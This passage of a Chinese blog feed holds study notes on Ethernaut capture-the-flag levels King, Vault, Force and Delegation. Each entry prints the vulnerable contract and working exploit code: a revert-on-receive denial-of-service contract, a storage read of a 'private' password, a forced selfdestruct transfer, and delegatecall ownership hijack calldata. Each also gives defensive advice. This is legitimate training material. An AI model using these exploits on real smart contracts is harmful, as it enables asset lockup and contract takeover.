<category term="Ethereum" scheme="https://kylinxin.github.io/tags/Ethereum/"/>
<category term="ETH" scheme="https://kylinxin.github.io/tags/ETH/"/>
<category term="以太坊" scheme="https://kylinxin.github.io/tags/%E4%BB%A5%E5%A4%AA%E5%9D%8A/"/>
<category term="MPT" scheme="https://kylinxin.github.io/tags/MPT/"/>
<category term="状态树" scheme="https://kylinxin.github.io/tags/%E7%8A%B6%E6%80%81%E6%A0%91/"/>
</entry>
<entry>
<title>Ethernaut 靶场学习笔记 09：King</title>
<link href="https://kylinxin.github.io/2026/05/10/Ethernaut%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2009%EF%BC%9AKing/"/>
<id>https://kylinxin.github.io/2026/05/10/Ethernaut%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2009%EF%BC%9AKing/</id>
<published>2026-05-10T01:00:00.000Z</published>
<updated>2026-05-10T01:00:00.000Z</updated>
<content type="html"><![CDATA[<blockquote><p>这是我的 Ethernaut 靶场个人学习笔记，用来记录每一关的题目目标、漏洞原理、利用过程和复盘要点，方便后续按关卡重新练习和查漏补缺。</p></blockquote><ul><li>关卡：Level 9 - King</li></ul><h2 id="本关目标"><a href="#本关目标" class="headerlink" title="本关目标"></a>本关目标</h2><p>成为 King 后，让关卡合约无法重新夺回王位。</p><h2 id="考察知识点"><a href="#考察知识点" class="headerlink" title="考察知识点"></a>考察知识点</h2><ul><li>拒收 ETH</li><li>外部转账阻塞状态机</li><li>push payment 风险</li></ul><h2 id="题目源码"><a href="#题目源码" class="headerlink" title="题目源码"></a>题目源码</h2><div class="code-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// SPDX-License-Identifier: MIT</span></span><br><span class="line">pragma solidity ^<span class="number">0.8</span><span class="number">.0</span>;</span><br><span class="line"></span><br><span class="line">contract <span class="title class_">King</span> {</span><br><span class="line"></span><br><span class="line"> address king;</span><br><span class="line"> uint public prize;</span><br><span class="line"> address public owner;</span><br><span class="line"></span><br><span class="line"> <span class="title function_">constructor</span>(<span class="params"></span>) payable {</span><br><span class="line"> owner = msg.<span class="property">sender</span>; </span><br><span class="line"> king = msg.<span class="property">sender</span>;</span><br><span class="line"> prize = msg.<span class="property">value</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="title function_">receive</span>() external payable {</span><br><span class="line"> <span class="built_in">require</span>(msg.<span class="property">value</span> >= prize || msg.<span class="property">sender</span> == owner);</span><br><span class="line"> <span class="title function_">payable</span>(king).<span class="title function_">transfer</span>(msg.<span class="property">value</span>);</span><br><span class="line"> king = msg.<span class="property">sender</span>;</span><br><span class="line"> prize = msg.<span class="property">value</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">_king</span>(<span class="params"></span>) public view <span class="title function_">returns</span> (address) {</span><br><span class="line"> <span class="keyword">return</span> king;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><h2 id="源码与漏洞解析"><a href="#源码与漏洞解析" class="headerlink" title="源码与漏洞解析"></a>源码与漏洞解析</h2><ol><li>King 的 <code>receive()</code> 逻辑是：检查出价，再给旧 king 转账，然后更新 king 和 prize。</li><li>转账使用 <code>transfer</code>，如果旧 king 是合约且拒收 ETH，整个 receive 会 revert，新的挑战者无法成为 king。</li><li>攻击合约用足够 ETH 成为 king 后，在自己的 <code>receive()</code> 中 revert。提交实例时，Ethernaut 关卡会尝试重新成为 king，但给攻击合约退款时会失败。</li><li>这关考察拒绝服务型漏洞：不是偷资产，而是利用外部调用失败阻断关键流程。</li></ol><h2 id="解题过程"><a href="#解题过程" class="headerlink" title="解题过程"></a>解题过程</h2><ol><li>部署攻击合约，并向 King 实例发送不低于当前 prize 的 ETH。</li><li>King 的 receive 会尝试把旧 prize 转给旧 king，然后更新 king。</li><li>攻击合约没有可收款逻辑或主动 revert，之后任何人替换 king 时都会失败。</li></ol><h2 id="攻击合约-WP"><a href="#攻击合约-WP" class="headerlink" title="攻击合约 WP"></a>攻击合约 WP</h2><div class="code-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">contract <span class="title class_">KingAttack</span> {</span><br><span class="line"> <span class="title function_">constructor</span>(<span class="params">address payable instance</span>) payable {</span><br><span class="line"> (bool ok, ) = instance.<span class="property">call</span>{<span class="attr">value</span>: msg.<span class="property">value</span>}(<span class="string">""</span>);</span><br><span class="line"> <span class="built_in">require</span>(ok, <span class="string">"take throne failed"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="title function_">receive</span>() external payable {</span><br><span class="line"> <span class="title function_">revert</span>(<span class="string">"no refund"</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><h2 id="最终-WP"><a href="#最终-WP" class="headerlink" title="最终 WP"></a>最终 WP</h2><ol><li>读取当前 <code>prize()</code>，部署攻击合约并发送至少 prize 数量的 ETH 到 King 实例。</li><li>攻击合约成为 king。</li><li>攻击合约的 <code>receive()</code> 永远 revert，拒绝后续退款。</li><li>提交实例，关卡合约夺回王位失败，通关。</li></ol><h2 id="复盘与拓展"><a href="#复盘与拓展" class="headerlink" title="复盘与拓展"></a>复盘与拓展</h2><ul><li>易错点：把外部转账放进关键路径，会被拒收方阻断。</li><li>防御建议：使用 pull payment，让收款人主动提款；不要在状态更新前强制向未知地址转账。</li></ul><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><ul><li>相关资料：<a class="link" href="https://hackmd.io/@0xbc000/rJwX0_6Ep" >https://hackmd.io/@0xbc000/rJwX0_6Ep<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Ethernaut 官方仓库：<a class="link" href="https://github.com/OpenZeppelin/ethernaut" >https://github.com/OpenZeppelin/ethernaut<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Solidity 文档：<a class="link" href="https://docs.soliditylang.org/" >https://docs.soliditylang.org/<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li></ul>]]></content>
<summary type="html"></summary>
<category term="区块链安全" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%AE%89%E5%85%A8/"/>
<category term="Ethernaut" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%AE%89%E5%85%A8/Ethernaut/"/>
<category term="Ethernaut" scheme="https://kylinxin.github.io/tags/Ethernaut/"/>
<category term="Solidity" scheme="https://kylinxin.github.io/tags/Solidity/"/>
<category term="智能合约安全" scheme="https://kylinxin.github.io/tags/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6%E5%AE%89%E5%85%A8/"/>
</entry>
<entry>
<title>Ethernaut 靶场学习笔记 08：Vault</title>
<link href="https://kylinxin.github.io/2026/05/09/Ethernaut%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2008%EF%BC%9AVault/"/>
<id>https://kylinxin.github.io/2026/05/09/Ethernaut%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2008%EF%BC%9AVault/</id>
<published>2026-05-09T01:00:00.000Z</published>
<updated>2026-05-09T01:00:00.000Z</updated>
<content type="html"><![CDATA[<blockquote><p>这是我的 Ethernaut 靶场个人学习笔记，用来记录每一关的题目目标、漏洞原理、利用过程和复盘要点，方便后续按关卡重新练习和查漏补缺。</p></blockquote><ul><li>关卡：Level 8 - Vault</li></ul><h2 id="本关目标"><a href="#本关目标" class="headerlink" title="本关目标"></a>本关目标</h2><p>读取 Vault 的私有 password，调用 <code>unlock</code> 解锁。</p><h2 id="考察知识点"><a href="#考察知识点" class="headerlink" title="考察知识点"></a>考察知识点</h2><ul><li>链上 storage 可读</li><li><code>private</code> 不是加密</li><li>slot 编号</li></ul><h2 id="题目源码"><a href="#题目源码" class="headerlink" title="题目源码"></a>题目源码</h2><div class="code-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// SPDX-License-Identifier: MIT</span></span><br><span class="line">pragma solidity ^<span class="number">0.8</span><span class="number">.0</span>;</span><br><span class="line"></span><br><span class="line">contract <span class="title class_">Vault</span> {</span><br><span class="line"> bool public locked;</span><br><span class="line"> bytes32 private password;</span><br><span class="line"></span><br><span class="line"> <span class="title function_">constructor</span>(<span class="params">bytes32 _password</span>) {</span><br><span class="line"> locked = <span class="literal">true</span>;</span><br><span class="line"> password = _password;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">unlock</span>(<span class="params">bytes32 _password</span>) public {</span><br><span class="line"> <span class="keyword">if</span> (password == _password) {</span><br><span class="line"> locked = <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><h2 id="源码与漏洞解析"><a href="#源码与漏洞解析" class="headerlink" title="源码与漏洞解析"></a>源码与漏洞解析</h2><ol><li><code>private</code> 只限制 Solidity 语法层面的访问，链上 storage 对所有节点公开。</li><li>Vault 有两个状态变量：<code>locked</code> 在 slot0，<code>password</code> 是 <code>bytes32</code>，通常在 slot1。</li><li>用 <code>web3.eth.getStorageAt(instance, 1)</code> 可以直接读取 slot1 中的 32 字节密码。</li><li>读取结果本身就是 <code>bytes32</code>，可以原样传给 <code>unlock</code>。</li></ol><h2 id="过程截图"><a href="#过程截图" class="headerlink" title="过程截图"></a>过程截图</h2><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/ethernaut/level08-vault-storage.png" alt="从 storage slot 中读取 password 的记录。" ><figcaption>从 storage slot 中读取 password 的记录。</figcaption></figure></p><p>图注：从 storage slot 中读取 password 的记录。</p><h2 id="解题过程"><a href="#解题过程" class="headerlink" title="解题过程"></a>解题过程</h2><ol><li><code>locked</code> 在 slot0，<code>password</code> 在 slot1。</li><li>使用 <code>web3.eth.getStorageAt(instance, 1)</code> 读取 slot1。</li><li>把读到的 <code>bytes32</code> 传给 <code>unlock</code>。</li></ol><h2 id="Console-WP"><a href="#Console-WP" class="headerlink" title="Console WP"></a>Console WP</h2><div class="code-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> password = <span class="keyword">await</span> web3.<span class="property">eth</span>.<span class="title function_">getStorageAt</span>(instance, <span class="number">1</span>)</span><br><span class="line"><span class="keyword">await</span> contract.<span class="title function_">unlock</span>(password)</span><br><span class="line"><span class="keyword">await</span> contract.<span class="title function_">locked</span>()</span><br></pre></td></tr></table></figure></div><h2 id="最终-WP"><a href="#最终-WP" class="headerlink" title="最终 WP"></a>最终 WP</h2><ol><li>调用 <code>web3.eth.getStorageAt(instance, 1)</code> 读取 password。</li><li>把读出的 bytes32 传给 <code>contract.unlock(password)</code>。</li><li>确认 <code>locked()</code> 为 false。</li><li>提交实例。</li></ol><h2 id="复盘与拓展"><a href="#复盘与拓展" class="headerlink" title="复盘与拓展"></a>复盘与拓展</h2><ul><li>易错点：链上数据对所有节点公开，<code>private</code> 不等于加密。</li><li>防御建议：不要把秘密明文上链；需要秘密时使用承诺、零知识、链下签名或延迟揭示机制。</li></ul><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><ul><li>相关资料：<a class="link" href="https://hackmd.io/@0xbc000/BkitIP3UT" >https://hackmd.io/@0xbc000/BkitIP3UT<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Ethernaut 官方仓库：<a class="link" href="https://github.com/OpenZeppelin/ethernaut" >https://github.com/OpenZeppelin/ethernaut<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Solidity 文档：<a class="link" href="https://docs.soliditylang.org/" >https://docs.soliditylang.org/<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li></ul>]]></content>
<summary type="html"></summary>
<category term="区块链安全" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%AE%89%E5%85%A8/"/>
<category term="Ethernaut" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%AE%89%E5%85%A8/Ethernaut/"/>
<category term="Ethernaut" scheme="https://kylinxin.github.io/tags/Ethernaut/"/>
<category term="Solidity" scheme="https://kylinxin.github.io/tags/Solidity/"/>
<category term="智能合约安全" scheme="https://kylinxin.github.io/tags/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6%E5%AE%89%E5%85%A8/"/>
</entry>
<entry>
<title>Ethernaut 靶场学习笔记 07：Force</title>
<link href="https://kylinxin.github.io/2026/05/08/Ethernaut%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2007%EF%BC%9AForce/"/>
<id>https://kylinxin.github.io/2026/05/08/Ethernaut%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2007%EF%BC%9AForce/</id>
<published>2026-05-08T01:00:00.000Z</published>
<updated>2026-05-08T01:00:00.000Z</updated>
<content type="html"><![CDATA[<blockquote><p>这是我的 Ethernaut 靶场个人学习笔记，用来记录每一关的题目目标、漏洞原理、利用过程和复盘要点，方便后续按关卡重新练习和查漏补缺。</p></blockquote><ul><li>关卡：Level 7 - Force</li></ul><h2 id="本关目标"><a href="#本关目标" class="headerlink" title="本关目标"></a>本关目标</h2><p>让 Force 合约余额大于 0。</p><h2 id="考察知识点"><a href="#考察知识点" class="headerlink" title="考察知识点"></a>考察知识点</h2><ul><li>强制转 ETH</li><li>selfdestruct 余额转移</li><li>不要依赖合约余额为 0</li></ul><h2 id="题目源码"><a href="#题目源码" class="headerlink" title="题目源码"></a>题目源码</h2><div class="code-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// SPDX-License-Identifier: MIT</span></span><br><span class="line">pragma solidity ^<span class="number">0.8</span><span class="number">.0</span>;</span><br><span class="line"></span><br><span class="line">contract <span class="title class_">Force</span> {<span class="comment">/*</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment"> MEOW ?</span></span><br><span class="line"><span class="comment"> /\_/\ /</span></span><br><span class="line"><span class="comment"> ____/ o o \</span></span><br><span class="line"><span class="comment"> /~____ =ø= /</span></span><br><span class="line"><span class="comment"> (______)__m_m)</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">*/</span>}</span><br></pre></td></tr></table></figure></div><h2 id="源码与漏洞解析"><a href="#源码与漏洞解析" class="headerlink" title="源码与漏洞解析"></a>源码与漏洞解析</h2><ol><li>Force 合约没有任何 payable 函数，正常转账会失败，但 EVM 仍有强制改变地址余额的路径。</li><li>旧语义下 <code>selfdestruct(payable(target))</code> 会销毁当前合约并把余额发送到目标地址；目标合约无需实现 receive/fallback，也无法拒收。</li><li>因此部署一个带余额的攻击合约，再让它 selfdestruct 到 Force 地址即可。</li><li>这关的安全启发是：不要把业务判断建立在 <code>address(this).balance == 0</code> 这类外部可强制改变的状态上。</li></ol><h2 id="解题过程"><a href="#解题过程" class="headerlink" title="解题过程"></a>解题过程</h2><ol><li>部署攻击合约并在部署或调用时给它一点 ETH。</li><li>调用攻击合约中的 <code>selfdestruct(payable(instance))</code>。</li><li>目标合约余额被强制增加。</li></ol><h2 id="攻击合约-WP"><a href="#攻击合约-WP" class="headerlink" title="攻击合约 WP"></a>攻击合约 WP</h2><div class="code-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">contract <span class="title class_">ForceAttack</span> {</span><br><span class="line"> <span class="title function_">constructor</span>(<span class="params"></span>) payable {}</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">attack</span>(<span class="params">address payable instance</span>) external {</span><br><span class="line"> <span class="title function_">selfdestruct</span>(instance);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><h2 id="最终-WP"><a href="#最终-WP" class="headerlink" title="最终 WP"></a>最终 WP</h2><ol><li>部署攻击合约，并在部署或调用时给它一点 ETH。</li><li>调用攻击合约的 <code>attack(instance)</code>。</li><li>攻击合约执行 <code>selfdestruct(payable(instance))</code>，Force 余额增加。</li><li>提交实例。</li></ol><h2 id="复盘与拓展"><a href="#复盘与拓展" class="headerlink" title="复盘与拓展"></a>复盘与拓展</h2><ul><li>易错点：合约余额不是只能通过自身代码路径变化。</li><li>防御建议：不要把 <code>address(this).balance == 0</code> 当作安全不变量；使用内部记账变量表示业务余额。</li><li>拓展：Dencun 后 <code>selfdestruct</code> 的删除代码语义发生变化，但强制转余额这个学习点仍然需要单独理解。</li></ul><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><ul><li>相关资料：<a class="link" href="https://hackmd.io/@0xbc000/HyJQ0zJS6" >https://hackmd.io/@0xbc000/HyJQ0zJS6<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Ethernaut 官方仓库：<a class="link" href="https://github.com/OpenZeppelin/ethernaut" >https://github.com/OpenZeppelin/ethernaut<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Solidity 文档：<a class="link" href="https://docs.soliditylang.org/" >https://docs.soliditylang.org/<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li></ul>]]></content>
<summary type="html"></summary>
<category term="区块链安全" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%AE%89%E5%85%A8/"/>
<category term="Ethernaut" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%AE%89%E5%85%A8/Ethernaut/"/>
<category term="Ethernaut" scheme="https://kylinxin.github.io/tags/Ethernaut/"/>
<category term="Solidity" scheme="https://kylinxin.github.io/tags/Solidity/"/>
<category term="智能合约安全" scheme="https://kylinxin.github.io/tags/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6%E5%AE%89%E5%85%A8/"/>
</entry>
<entry>
<title>Ethernaut 靶场学习笔记 06：Delegation</title>
<link href="https://kylinxin.github.io/2026/05/07/Ethernaut%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2006%EF%BC%9ADelegation/"/>
<id>https://kylinxin.github.io/2026/05/07/Ethernaut%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2006%EF%BC%9ADelegation/</id>
<published>2026-05-07T01:00:00.000Z</published>
<updated>2026-05-07T01:00:00.000Z</updated>
<content type="html"><![CDATA[<blockquote><p>这是我的 Ethernaut 靶场个人学习笔记，用来记录每一关的题目目标、漏洞原理、利用过程和复盘要点，方便后续按关卡重新练习和查漏补缺。</p></blockquote><ul><li>关卡：Level 6 - Delegation</li></ul><h2 id="本关目标"><a href="#本关目标" class="headerlink" title="本关目标"></a>本关目标</h2><p>通过 Delegation 的 fallback + delegatecall 执行 Delegate.pwn，接管 owner。</p><h2 id="考察知识点"><a href="#考察知识点" class="headerlink" title="考察知识点"></a>考察知识点</h2><ul><li>delegatecall</li><li>函数选择器</li><li>存储上下文复用</li></ul><h2 id="题目源码"><a href="#题目源码" class="headerlink" title="题目源码"></a>题目源码</h2><div class="code-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// SPDX-License-Identifier: MIT</span></span><br><span class="line">pragma solidity ^<span class="number">0.8</span><span class="number">.0</span>;</span><br><span class="line"></span><br><span class="line">contract <span class="title class_">Delegate</span> {</span><br><span class="line"></span><br><span class="line"> address public owner;</span><br><span class="line"></span><br><span class="line"> <span class="title function_">constructor</span>(<span class="params">address _owner</span>) {</span><br><span class="line"> owner = _owner;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">function</span> <span class="title function_">pwn</span>(<span class="params"></span>) public {</span><br><span class="line"> owner = msg.<span class="property">sender</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">contract <span class="title class_">Delegation</span> {</span><br><span class="line"></span><br><span class="line"> address public owner;</span><br><span class="line"> <span class="title class_">Delegate</span> delegate;</span><br><span class="line"></span><br><span class="line"> <span class="title function_">constructor</span>(<span class="params">address _delegateAddress</span>) {</span><br><span class="line"> delegate = <span class="title class_">Delegate</span>(_delegateAddress);</span><br><span class="line"> owner = msg.<span class="property">sender</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="title function_">fallback</span>() external {</span><br><span class="line"> (bool result,) = <span class="title function_">address</span>(delegate).<span class="title function_">delegatecall</span>(msg.<span class="property">data</span>);</span><br><span class="line"> <span class="keyword">if</span> (result) {</span><br><span class="line"> <span class="variable language_">this</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><h2 id="源码与漏洞解析"><a href="#源码与漏洞解析" class="headerlink" title="源码与漏洞解析"></a>源码与漏洞解析</h2><ol><li><code>Delegation</code> 自己没有 <code>pwn()</code>，但 fallback 会把任意 calldata 通过 <code>delegatecall</code> 交给 <code>Delegate</code>。</li><li><code>delegatecall</code> 的关键点：执行的是被调用合约代码，但读写的是调用方的 storage，<code>msg.sender</code> 也保持为原始调用者。</li><li><code>Delegate.pwn()</code> 写 <code>owner = msg.sender</code>。通过 delegatecall 执行时，写入的是 <code>Delegation.owner</code>。</li><li>要触发它，只需要把 <code>pwn()</code> 的函数选择器作为 calldata 发给 Delegation 实例。选择器是 <code>bytes4(keccak256("pwn()")) = 0xdd365b8b</code>。</li></ol><h2 id="解题过程"><a href="#解题过程" class="headerlink" title="解题过程"></a>解题过程</h2><ol><li>目标 fallback 把 calldata 委托给 Delegate 合约。</li><li><code>pwn()</code> 的函数选择器为 <code>0xdd365b8b</code>。</li><li>直接向实例发送这 4 字节 calldata，fallback 会 delegatecall 到 <code>pwn()</code>。</li><li>Delegate 代码写入 slot0，实际改的是 Delegation 的 slot0。</li></ol><h2 id="Console-WP"><a href="#Console-WP" class="headerlink" title="Console WP"></a>Console WP</h2><div class="code-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">await</span> web3.<span class="property">eth</span>.<span class="property">abi</span>.<span class="title function_">encodeFunctionSignature</span>(<span class="string">"pwn()"</span>)</span><br><span class="line"><span class="keyword">await</span> contract.<span class="title function_">sendTransaction</span>({ <span class="attr">data</span>: <span class="string">"0xdd365b8b"</span> })</span><br><span class="line"><span class="keyword">await</span> contract.<span class="title function_">owner</span>()</span><br></pre></td></tr></table></figure></div><h2 id="最终-WP"><a href="#最终-WP" class="headerlink" title="最终 WP"></a>最终 WP</h2><ol><li>计算或记下 <code>pwn()</code> selector：<code>0xdd365b8b</code>。</li><li>向实例发送一笔 calldata 为 <code>0xdd365b8b</code> 的交易。</li><li>fallback delegatecall 到 Delegate，实际覆盖 Delegation 的 slot0 owner。</li><li>确认 <code>owner()</code> 变成玩家地址并提交。</li></ol><h2 id="复盘与拓展"><a href="#复盘与拓展" class="headerlink" title="复盘与拓展"></a>复盘与拓展</h2><ul><li>易错点：delegatecall 的危险点在于代码来自别处，但状态是自己的。</li><li>防御建议：只 delegatecall 到可信、固定、存储布局兼容的实现；升级代理要严格控制实现地址。</li><li>拓展：代理模式、库合约和 upgradeable 合约都大量依赖 delegatecall，审计时必须检查目标地址可控性与 storage layout。</li></ul><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><ul><li>相关资料：<a class="link" href="https://hackmd.io/@0xbc000/SJSC5T6Vp" >https://hackmd.io/@0xbc000/SJSC5T6Vp<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Ethernaut 官方仓库：<a class="link" href="https://github.com/OpenZeppelin/ethernaut" >https://github.com/OpenZeppelin/ethernaut<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Solidity 文档：<a class="link" href="https://docs.soliditylang.org/" >https://docs.soliditylang.org/<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li></ul>]]></content>
<summary type="html"></summary>
<category term="区块链安全" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%AE%89%E5%85%A8/"/>
<category term="Ethernaut" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%AE%89%E5%85%A8/Ethernaut/"/>
<category term="Ethernaut" scheme="https://kylinxin.github.io/tags/Ethernaut/"/>
<category term="Solidity" scheme="https://kylinxin.github.io/tags/Solidity/"/>
<category term="智能合约安全" scheme="https://kylinxin.github.io/tags/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6%E5%AE%89%E5%85%A8/"/>
</entry>
<entry>
<title>Ethernaut 靶场学习笔记 05：Token</title>
<link href="https://kylinxin.github.io/2026/05/06/Ethernaut%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2005%EF%BC%9AToken/"/>
<id>https://kylinxin.github.io/2026/05/06/Ethernaut%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2005%EF%BC%9AToken/</id>
<published>2026-05-06T01:00:00.000Z</published>
<updated>2026-05-06T01:00:00.000Z</updated>
